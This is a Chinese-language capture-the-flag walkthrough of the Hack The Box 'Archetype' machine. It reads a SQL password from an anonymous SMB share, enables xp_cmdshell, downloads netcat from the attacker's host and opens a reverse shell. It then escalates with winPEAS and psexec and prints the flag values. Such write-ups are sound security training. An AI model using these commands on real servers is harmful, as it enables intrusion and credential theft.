HTB_Archetype攻击全流程

Archetype (SMB、SQL Server xp_cmdshell、反弹shell、winPEASx64、psexec远程连接)

TASK 1

  • 问题: 哪个TCP端口托管着数据库服务器?
  • 目的: 识别运行数据库服务的端口,通常通过端口扫描(如使用nmap)来完成。

TASK 2

  • 问题: 通过SMB共享的非管理员共享的名称是什么?
  • 目的: 识别SMB共享中的非管理员共享。这通常涉及到枚举SMB共享(例如使用smbclient工具)。

TASK 3

  • 问题: 在SMB共享上的文件中找到的密码是什么?
  • 目的: 访问SMB共享,并查找存储密码的文件。可能需要利用先前任务中识别的共享。

TASK 4

  • 问题: Impacket集合中的哪个脚本可以用来建立与Microsoft SQL Server的认证连接?
  • 目的: 了解和使用Impacket工具集,这是一个用于网络协议攻击的Python类和脚本的集合。这个特定的脚本用于和SQL Server建立连接。

TASK 5

  • 问题: Microsoft SQL Server的哪个扩展存储过程可以用来生成Windows命令shell?
  • 目的: 了解SQL Server内部可用于执行命令的特定功能。这通常用于执行系统命令或提权。

TASK 6

  • 问题: 哪个脚本可以用来搜索在Windows主机上提升权限的可能路径?
  • 目的: 了解和使用特定的工具或脚本来发现提权的可能途径。这在进行本地渗透测试时非常有用。

TASK 7

  • 问题: 包含管理员密码的文件是什么?
  • 目的: 寻找存储有关键凭据的文件,这可能涉及到文件系统的深入探索或利用特定的漏洞。

  1. 信息收集
namp -sV 10.129.131.101

结果如下:

PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000

知识补充

SMB (Server Message Block) 协议

SMB(Server Message Block)是一种网络文件共享协议。它允许计算机在同一个网络上共享文件、打印机、串行端口和通信中的各种资源。SMB 协议最常见于 Windows 系统,但也可以在其他操作系统中使用。在Windows环境中,SMB运行在TCP端口 445 上。

SMB 的一个关键特性是能够提供文件和打印服务,使得网络上的不同计算机能够访问和共享文件就像访问本地文件一样。此外,SMB 也允许进行一些管理员级别的任务,如查询网络设置或请求远程计算机上的服务。


尝试连接:

┌──(root㉿kali)-[/home/lovesickman]
└─# smbclient -L 10.129.131.101 -N   Sharename       Type      Comment---------       ----      -------ADMIN$          Disk      Remote Adminbackups         Disk      C$              Disk      Default shareIPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.131.101 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

尝试使用 -N 匿名连接 backups 。

┌──(root㉿kali)-[/home/lovesickman]
└─# smbclient \\\\10.129.131.101\\backups -N
Try "help" to get a list of possible commands.
smb: \> ls.                                   D        0  Mon Jan 20 20:20:57 2020..                                  D        0  Mon Jan 20 20:20:57 2020prod.dtsConfig                     AR      609  Mon Jan 20 20:23:02 20205056511 blocks of size 4096. 2616663 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> 

将文件下载到本地之后,获得了类似账号和密码的内容。

┌──(root㉿kali)-[/home/lovesickman]
└─# cat prod.dtsConfig 
<DTSConfiguration><DTSConfigurationHeading><DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/></DTSConfigurationHeading><Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String"><ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue></Configuration>
</DTSConfiguration>       
  • Data Source=.:指定了数据源,. 表示本地服务器。
  • Password=M3g4c0rp123:数据库连接的密码。
  • User ID=ARCHETYPE\sql_svc:用于数据库连接的用户名。
  • Initial Catalog=Catalog:初始连接的数据库名。
  • Provider=SQLNCLI10.1Persist Security Info=TrueAuto Translate=False:其他数据库连接相关的设置。

知识补充

Impacket

  1. 目的和功能:Impacket 是一个集成了多个网络协议工具的 Python 工具集。它包括多个脚本,用于执行各种网络操作,如验证、攻击、测试等。Impacket 包含的工具不仅限于数据库操作,还包括很多其他网络协议的操作。
  2. 使用场景:Impacket 主要用于渗透测试、网络安全研究和系统管理员工作。它的工具通常在命令行界面下运行,需要用户对相应协议有一定的理解。
  3. 数据库相关工具:Impacket 中的 mssqlclient.py 是一个脚本,用于与 Microsoft SQL Server 建立连接和交互。它更多地用于渗透测试和安全领域,比如在探索SQL注入漏洞或执行其他类型的数据库攻击时。

Navicat

  1. 目的和功能:Navicat 是一个数据库管理和开发工具,它提供图形用户界面,用于连接和管理多种类型的数据库,如 MySQL、PostgreSQL、Oracle、SQLite 和 Microsoft SQL Server。
  2. 使用场景:Navicat 主要用于数据库的日常管理、开发和维护工作。它非常适合数据库管理员、开发者和分析师进行数据查询、数据库设计、数据导入/导出等操作。
  3. 用户友好性:Navicat 提供一个直观的图形界面,使用户可以轻松地执行复杂的数据库操作,无需深入了解底层协议或编写SQL语句。

Navicate 无法远程连接,尝试使用 kali 自带的 mssqlclient.py 文件远程连接。路径如下 : /usr/share/doc/python3-impacket

┌──(root㉿kali)-[/usr/share/doc/python3-impacket]
└─# ls -a
.  ..  changelog.Debian.gz  changelog.gz  copyright  examples  README.md.gz┌──(root㉿kali)-[/usr/share/doc/python3-impacket]
└─# cd examples        ┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# ls -a
.                   GetNPUsers.py     mqtt_check.py         rdp_check.py      smbrelayx.py
..                  getPac.py         mssqlclient.py        registry-read.py  smbserver.py
addcomputer.py      getST.py          mssqlinstance.py      reg.py            sniffer.py
atexec.py           getTGT.py         netview.py            rpcdump.py        sniff.py
dcomexec.py         GetUserSPNs.py    nmapAnswerMachine.py  rpcmap.py         split.py
dpapi.py            goldenPac.py      ntfs-read.py          sambaPipe.py      ticketConverter.py
esentutl.py         karmaSMB.py       ntlmrelayx.py         samrdump.py       ticketer.py
exchanger.py        keylistattack.py  ping6.py              secretsdump.py    wmiexec.py
findDelegation.py   kintercept.py     ping.py               services.py       wmipersist.py
GetADUsers.py       lookupsid.py      psexec.py             smbclient.py      wmiquery.py
getArch.py          machine_role.py   raiseChild.py         smbexec.py
Get-GPPPassword.py  mimikatz.py       rbcd.py               smbpasswd.py

使用脚本连接 SQL SERVER 数据库

python3 mssqlclient.py 'ARCHETYPE/sql_svc'@10.129.131.101 -windows-auth

查看数据库中的表

SQL> select name from master.sys.databases;
name                                                                                                                               --------------------------------------------------------------------------------------------------------------------------------   master                                                                                                                             tempdb                                                                                                                             model                                                                                                                              msdb  

知识补充

master 数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,并存在所有其他数据库信息

model 数据库是一个模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名称

msdb 数据库是 SQL Server 代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等

tempddb 数据库是由 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求


思路导航

为什么可以利用 SQL SERVER 的漏洞呢?

因为我们得到 SQL SERVER 的数据库和密码之后,SQL SERVER 有一个 xp_shell 的扩展存储过程可以生成 windows shell。

xp_cmdshell 是一个 SQL Server 的扩展存储过程,它允许你执行操作系统命令。在默认情况下,xp_cmdshell 可能在 SQL Server 上被禁用,因此你可能需要先启用它。


  1. 打开 SQL Server 配置项:

    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    
  2. 启用 xp_cmdshell

    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    
  3. 可以测试

    exec xp_cmdshell 'whoami';
    exec xp_cmdshell 'ipconfig';
    

TASK 6

问题: 用于搜索可能的 Windows 主机权限提升路径的脚本是什么?

答案: Sherlock 或者 WinPEAS

这些是常用的权限提升枚举脚本。SherlockWinPEAS 都是用于查找可能的Windows权限提升漏洞的脚本。


然后下载提权脚本。


知识补充

使用 net user 查看本机所有的用户

PS C:\Users\user> net user\\LAPTOP-38QT2L81 的用户帐户-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
oracle                   user                     WDAGUtilityAccount
命令成功完成。PS C:\Users\user>
  1. Administrator:这是 Windows 系统的内置管理员账户。它拥有系统上最高级别的权限,通常在初始安装 Windows 时创建。
  2. DefaultAccount:这是一个内置的用户账户,通常用于系统特定的目的,通常不用于常规登录。
  3. Guest:另一个 Windows 内置账户,通常具有非常有限的权限,用于临时用户访问。
  4. oracle:这似乎是一个创建的用户账户,可能是用于特定用途,如运行 Oracle 数据库或其他 Oracle 软件。
  5. user:这可能是一个为常规使用或特定用途创建的用户账户。
  6. WDAGUtilityAccount:这是 Windows Defender Application Guard 的一部分,用于提供隔离的浏览环境,以提高安全性。

知识补充

使用 nc (netcat)创建一个反弹 shell

关于 -e 选项

在 Netcat 命令中,-e 选项用于指定 Netcat 在建立连接后要执行的程序。例如,nc 192.168.234.3 80 -e /bin/bash 命令会在连接到 IP 地址 192.168.234.380 端口后,尝试在远程系统上执行 /bin/bash。这通常用于创建一个反弹 Shell,允许远程用户通过 Netcat 连接访问一个 Shell 会话。


测试 靶机可以使用 powershell

SQL> EXEC xp_cmdshell 'powershell -c "Write-Host Hello World"';
output                                                                                   
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
Hello World                                                                               
NULL

linux 使用 python3 启动一个服务器

python3 -m http.server 80

nc64.exe 目录:http://192.168.234.3/htb/utools/nc.exe/


靶机执行下边的目录下载 nc64.exe

exec xp_cmdshell "powershell -c wget http://192.168.234.3/htb/utools/nc.exe/nc64.exe -outfile nc64.exe"
  • xp_cmdshell:SQL Server 的一个扩展存储过程,用于执行操作系统命令。
  • powershell -c:启动 PowerShell 并执行后面的命令。
  • wget http://192.168.234.3/htb/utools/nc.exe/nc64.exe:wget 是 PowerShell 中的一个别名,用于从指定的 URL 下载文件。在这个例子中,它从 http://192.168.234.3/htb/utools/nc.exe/nc64.exe 下载文件。
  • -outfile nc64.exe:指定下载的文件保存为 nc64.exe

靶机下载完成之后,执行以下命令

在靶机上,您可以使用 SQL Server 的 xp_cmdshell 来下载 nc.exe 并执行它。首先,确保靶机可以访问您的 Kali Linux 机器(即确保没有防火墙或网络隔离问题)。


这里有一个问题(非常关键)

我的kali的内网地址是:192.168.234.3,靶机ip是10.129.67.17,kali是可以ping通靶机的,但是靶机无法ping通主机,htb 同时提供了一个我主机的虚拟ip地址:US

ACCESS

US StartingPoint 2

SERVER

10.10.14.119

IP ADDRESS
当我在 kali 使用 python3 -m http.server 80 靶机可以访问 10.10.14.119 来访问我本地的文件,从而上传nc64.exe 实现反弹shell。


步骤 1: 在攻击机上设置 Netcat 监听器

  1. 打开你的 Linux 终端

  2. 使用 Netcat 设置监听器。选择一个端口(例如 4444)进行监听:

    nc -lvnp 4444
    

    这个命令会让 Netcat 在端口 4444 上监听进入的连接。选项说明:

    • -l 表示监听模式。
    • -v 表示详细输出。
    • -n 表示不进行 DNS 解析。
    • -p 4444 指定使用的端口。

步骤 2: 在靶机上触发反弹 Shell

这个步骤取决于你对靶机的访问权限和可用工具。假设你可以在靶机上执行命令(例如通过 SQL 注入、命令执行漏洞等),你需要执行一个命令来连接到你的监听器。假设你的攻击机 IP 地址是 192.168.234.2,端口是 4444,在靶机上的命令可能是:

nc 10.10.14.119 4444 -e /bin/bash

这个命令会使靶机上的 Netcat 连接到你的监听器,并使用 /bin/bash 提供一个 Shell。


SQL> exec xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.14.119/nc64.exe -outfile nc64.exe;dir;"
output                                                                                                                                                                            
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   Directory: C:\Users\sql_svc\Downloads                                                                                                                                 
Mode                LastWriteTime         Length Name                                     
----                -------------         ------ ----                                   
-a----        12/2/2023   4:51 AM          45272 nc64.exe

下载成功!


靶机运行:

SQL> exec xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;.\nc64.exe 10.10.14.119 4444 -e cmd.exe;dir;"

成功提权!

┌──(root㉿kali)-[/home/lovesickman/htb/utools/nc.exe]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.119] from (UNKNOWN) [10.129.67.17] 49685
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.C:\Users\sql_svc\Downloads>

提权之后下载高级提权工具:winPEASx64wget http://10.10.14.119/htb/utools/winPEASx64.exe -outfile winPEASx64.exe

下载好如下所示:

C:\Users\sql_svc\Downloads>dir
dirVolume in drive C has no label.Volume Serial Number is 9565-0B4FDirectory of C:\Users\sql_svc\Downloads12/02/2023  05:12 AM    <DIR>          .
12/02/2023  05:12 AM    <DIR>          ..
12/02/2023  04:51 AM            45,272 nc64.exe
12/02/2023  05:12 AM           135,376 winPEASany.exe (当时下错了)2 File(s)        180,648 bytes2 Dir(s)  10,719,178,752 bytes free

这个提权工具找了好久都不行,在一个博客里边找到了能用的,友链,经过一顿输出 ,得到了管理员账号和密码:

administrator MEGACORP_4dm1n!!

 Analyzing Windows Files Files (limit 70)C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtC:\Users\Default\NTUSER.DATC:\Users\sql_svc\NTUSER.DATAnalyzing Other Windows Files Files (limit 70)/---------------------------------------------------------------------------\|                             Do you like PEASS?                            ||---------------------------------------------------------------------------| |         Become a Patreon    :     https://www.patreon.com/peass           ||         Follow on Twitter   :     @carlospolopm                           ||         Respect on HTB      :     SirBroccoli & makikvues                 ||---------------------------------------------------------------------------||                                 Thank you!                                |\---------------------------------------------------------------------------/C:\Users\sql_svc\Downloads>type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

最后使用 psexec 工具远程连接

psexec 是一个功能强大的远程执行工具,允许您在远程系统上执行命令。如果您已在您的 Kali Linux 机器上安装了 psexec

┌──(root㉿kali)-[/home/lovesickman/htb/utools]
└─# impacket-psexec administrator@10.129.67.17                       
Impacket v0.10.0 - Copyright 2022 SecureAuth CorporationPassword:
[*] Requesting shares on 10.129.67.17.....
[*] Found writable share ADMIN$
[*] Uploading file avwKJWzR.exe
[*] Opening SVCManager on 10.129.67.17.....
[*] Creating service ZzpR on 10.129.67.17.....
[*] Starting service ZzpR.....
[!] Press help for extra shell commands                                                                       Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32> 

FLAG 保存在了用户的桌面:user_flag:3e7b102e78218e935bf3f4951fec21a3

02/25/2020  06:37 AM                32 user.txt1 File(s)             32 bytes2 Dir(s)  10,715,082,752 bytes freetyep^H^H
'ty' is not recognized as an internal or external command,
operable program or batch file.                                                                               C:\Users\sql_svc\Desktop>
type user.txt                                                                                                 C:\Users\sql_svc\Desktop>3e7b102e78218e935bf3f4951fec21a3
 Directory of C:\Users\Administrator\Desktop07/27/2021  01:30 AM    <DIR>          .
07/27/2021  01:30 AM    <DIR>          ..
02/25/2020  06:36 AM                32 root.txt1 File(s)             32 bytes2 Dir(s)  10,715,082,752 bytes freeC:\Users\Administrator\Desktop> type root.txtt^H                                                              The filename, directory name, or volume label syntax is incorrect.C:\Users\Administrator\Desktop> type root.txt                                                                 b91ccec3305e98240082d4474b848528
C:\Users\Administrator\Desktop> 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/191730.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

滑动平均+TTA

给定一堆二维图像&#xff0c;要拼成三维&#xff0c;然后要在x&#xff0c;y&#xff0c;z上分别预测&#xff0c;预测要预测一个二维patch&#xff0c;还要tta&#xff0c;最后平均结果 import torchM, N, R 40, 40, 4 CUT_SIZE 10 OFFSET 5def get_data():# (M, N) * Rt…

中国湖泊面积-水位长时序数据产品(2000-2020)

今天我们分享中国湖泊面积-水位长时序数据产品&#xff08;2000-2020&#xff09; 该数据集包含中国典型湖泊2000-2020年最大水体面积、多年平均面积、水位变化速率及空间分布矢量。 数据溯源信息 「数据来源描述」Landsat、HJ、ZY、Jason、ENVISAT、Cryosat、ICESat和HY 「数…

力扣 572. 另一棵树的子树

目录 1.解题思路2.代码实现 1.解题思路 首先先要有一个判断根据两个根节点判断两个树是否相等的接口&#xff0c;然后再利用递归&#xff0c;在需要被比较的树里进行前序遍历来得出是否有子树. 2.代码实现 bool issame(struct TreeNode* root, struct TreeNode* subRoot) {if…

dockerfile文件:copy和add 异同

相同点&#xff1a; 复制文件或目录&#xff1a; 无论是 COPY 还是 ADD 都可以将文件或目录从构建上下文复制到容器中。支持源路径和目标路径&#xff1a; 两者都需要指定源路径和目标路径&#xff0c;用于指定要复制的文件或目录在主机上的位置以及在容器中的目标路径。 不同…

Boost:多进程间同步文件锁

Linux(编程):多进程同步-文件锁_linux 进程锁-CSDN博客 介绍了Linux的文件锁,Boost对文件锁也进行了封装 1.创建文件锁 #include <boost/interprocess/sync/file_lock.hpp> boost::interprocess::file_lock flock("my_file"); 注:文件必须存在,且运行当前…

责任等同于背锅?

本文首发于个人网站「BY林子」&#xff0c;转载请参考版权声明。 01 两个真实的故事 故事一 X公司IT质量管理部门在做质量的规范化管理&#xff0c;定义实践标准规范、模板、指南等&#xff0c;以指导各个团队因为实践不一致带来的问题&#xff0c;帮助各个团队更规范地开发和…

Nginx实现(负载均衡)

在 Nginx 中搭建负载均衡&#xff08;Load Balancing&#xff09;可以将来自客户端的请求分发到多个后端服务器上&#xff0c;从而提高应用程序的可用性、性能和扩展性。Nginx 通过反向代理和负载均衡模块实现这一功能。以下是一个基本的负载均衡配置示例&#xff1a; 安装和配…

【UBUNTU】随手记

目录 1. 更新软件到最新版本1.1 CMAKE [U20]1.2 GIT1.3 WIRESHARK1.4 LLVM 2. 设置代理2.1 APT2.2 GIT2.3 WGET2.4 PIP 1. 更新软件到最新版本 1.1 CMAKE [U20] 参考&#xff1a;https://apt.kitware.com/ # 1. 更新基础库 sudo apt-get update# 2. 安装可能需要的工具 sudo…

RocketMQ事务消息源码解析

RocketMQ提供了事务消息的功能&#xff0c;采用2PC(两阶段协议)补偿机制&#xff08;事务回查&#xff09;的分布式事务功能&#xff0c;通过这种方式能达到分布式事务的最终一致。 一. 概述 半事务消息&#xff1a;指的是发送至broker但是还没被commit的消息&#xff0c;在半…

<软考>软件设计师-1计算机组成与结构(总结)

(一)计算机系统基础知识 1 计算机硬件组成 计算机的基本硬件系统由运算器、控制器、存储器、输入设备 和 输出设备 5大部件组成。 1 运算器、控制器等部件被集成在一起统称为中央处理单元(CPU) 。CPU是硬件系统的核心&#xff0c;用于数据的加工处理&#xff0c;能完成各种算…

2023.11.27【读书笔记】|医疗科技创新流程(前言)

目录 注重价值关键要素如何解决价值问题&#xff1f;注重三个关键点价值探索价值预测价值定位 中国视角背景挑战战术 洞察过程发现需求发现需求筛选 发明概念产生概念选择 发挥战略发展商业计划 注重价值 在美国&#xff0c;医疗费用的增长率已经多年超过GDP增长率&#xff1b…

Redis--11--Redis事务的理解

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 Redis事务事务回滚机制Redis 事务是不支持回滚的&#xff0c;不像 MySQL 的事务一样&#xff0c;要么都执行要么都不执行&#xff1b; Redis的事务原理 Redis事务 …

第九节HarmonyOS 常用基础组件1-Text

一、组件介绍 组件&#xff08;Component&#xff09;是界面搭建与显示的最小单位&#xff0c;HarmonyOS ArkUI声名式为开发者提供了丰富多样的UI组件&#xff0c;我们可以使用这些组件轻松的编写出更加丰富、漂亮的界面。 组件根据功能可以分为以下五大类&#xff1a;基础组件…

微服务实战系列之MemCache

前言 书接前文&#xff0c;马不停蹄&#xff0c;博主继续书写Cache的传奇和精彩。 Redis主要用于数据的分布式缓存&#xff0c;通过设置缓存集群&#xff0c;实现数据的快速响应&#xff0c;同时也解决了缓存一致性的困扰。 EhCache主要用于数据的本地缓存&#xff0c;因无法保…

优先队列详解

优先队列是计算机科学中的一种抽象数据类型&#xff0c;它是一种队列&#xff1a;元素拥有优先级&#xff0c;优先级最高的元素最先得到服务&#xff1b;优先级相同的元素按照在集合中的顺序得到服务。优先队列有两种主要的实现方法&#xff1a;堆和二叉搜索树。 简单来说&…

IO多路复用(select函数、poll函数、epoll函数)

select函数&#xff1a; #include <sys/select.h>int select(int nfds, fd_set *readfds, fd_set *writefds,fd_set *exceptfds, struct timeval *timeout);/*参数&#xff1a;nfds&#xff1a; 要监视的最大文件描述符1readfds&#xff1a; 要监视的读文件描述符集合 不…

unix dgram通信

# 同一个机器多个进程间通信&#xff0c;unix比AF_INET效率更高 # client import socket # 导入 socket 模块 import os import threading import timeclass SocketClient(threading.Thread):def __init__(self):super(SocketClient, self).__init__()self._addr…

基于社区电商的Redis缓存架构-写多读多场景下的购物车缓存架构

社区电商的购物车缓存架构 在购物车中的功能主要有这几个&#xff1a;商品加入购物车、查看购物车列表、删除购物车商品、选中购物车商品进行结算 这里购物车的场景和之前用户信息以及菜谱分享信息还不同&#xff0c;如果在举办了大型购物活动时&#xff0c;购物车可能需要面…

Web(7)内网渗透

一&#xff0e;内网配置 网络情况 在进行IP配置的时候&#xff0c;根据其情况需要在不同的网卡进行配置。如果采用桥接模式的话&#xff0c;需要在以太网网卡上进行配置 期间有个问题&#xff0c;即window Server的静态IP老是分配不成功&#xff0c;原来是与虚拟网卡1DHCP分配…

号称要做人民货币的Spacemesh,有何新兴叙事?

​打开Spacemesh的官网&#xff0c;率先映入眼帘的是一个响亮的口号——On a quest to become the people’s coin&#xff08;致力于成为人民的货币&#xff09;&#xff01;Spacemesh 联合创始人 Tomer Afek 曾表示“Spacemesh 的低准入门槛和激励兼容性&#xff0c;激发了从…